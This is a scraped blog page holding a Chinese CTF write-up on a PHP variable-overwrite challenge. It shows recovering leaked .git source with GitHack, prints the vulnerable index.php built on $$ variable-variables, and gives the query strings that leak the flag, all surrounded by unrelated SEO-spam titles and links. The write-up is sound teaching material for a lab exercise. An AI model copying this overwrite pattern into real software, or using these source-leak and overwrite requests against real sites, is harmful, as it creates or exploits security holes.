当前位置: 首页 > news >正文

小县城做网站免费网站建设

小县城做网站,免费网站建设,做视频网站用什么云盘好,wordpress作者信息插件打开题目 发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下 http://63f29a80-e08b-43ae-a6d0-8e70fb02ea…

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
 
echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。 

?yds=flag

覆盖is变量

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

Get或Post传入flag=flag,触发变量覆盖代码

foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到$handsome=$flag

?handsome=flag&flag=handsome

可以得到flag

http://www.shuangfujiaoyu.com/news/41981.html

相关文章:

  • wordpress 可视化 编辑seo优化包括哪些内容
  • 微网站 免费快速网站seo效果
  • 商务网站建设综合实训报告上海aso苹果关键词优化
  • 做网站流量赚钱关键词排名查询工具免费
  • 文案类的网站武汉seo网站推广
  • 赣州网站制作网站推广和优化的原因网络营销
  • 政府网站建设发展思路百度优化排名软件
  • 怎么自己做时时彩网站电商培训机构哪家好
  • 企业微网站信息流优化师
  • 网站内链如何做优化指数基金是什么意思
  • 网页设计基础实践课笔试题seo营销
  • 基础做网站win7优化软件
  • 做游戏网站公司跟我学seo
  • 网站开发项目实战2023广东又开始疫情了吗
  • 彩票网站开发 彩票软件开发广告外链购买平台
  • 网站外链接自己可以怎么做广告seo是什么意思
  • 衡量一个网站的指标seo外包公司排名
  • 新疆网站建设咨询网络推广平台哪家公司最好
  • 深圳网站建设php市场营销推广方案
  • 电商网站建设浩森宇特品牌服务推广
  • flash网站cms百度排名优化
  • 购物网站有哪些模块免费域名解析平台
  • 金融公司网站建设模板下载培训计划模板
  • 镇江网站制作教程店铺推广软文300字
  • 南京做网站工作室seo管理软件
  • 鲜花网站建设的利息分析seo培训网
  • 一套网站开发需要多少钱专业网站制作网站公司
  • 这么给网站做关键字磁力蜘蛛
  • 炉石吐司做的网站怎样建立一个自己的网站
  • 做一个官方网站多少钱百度收录排名查询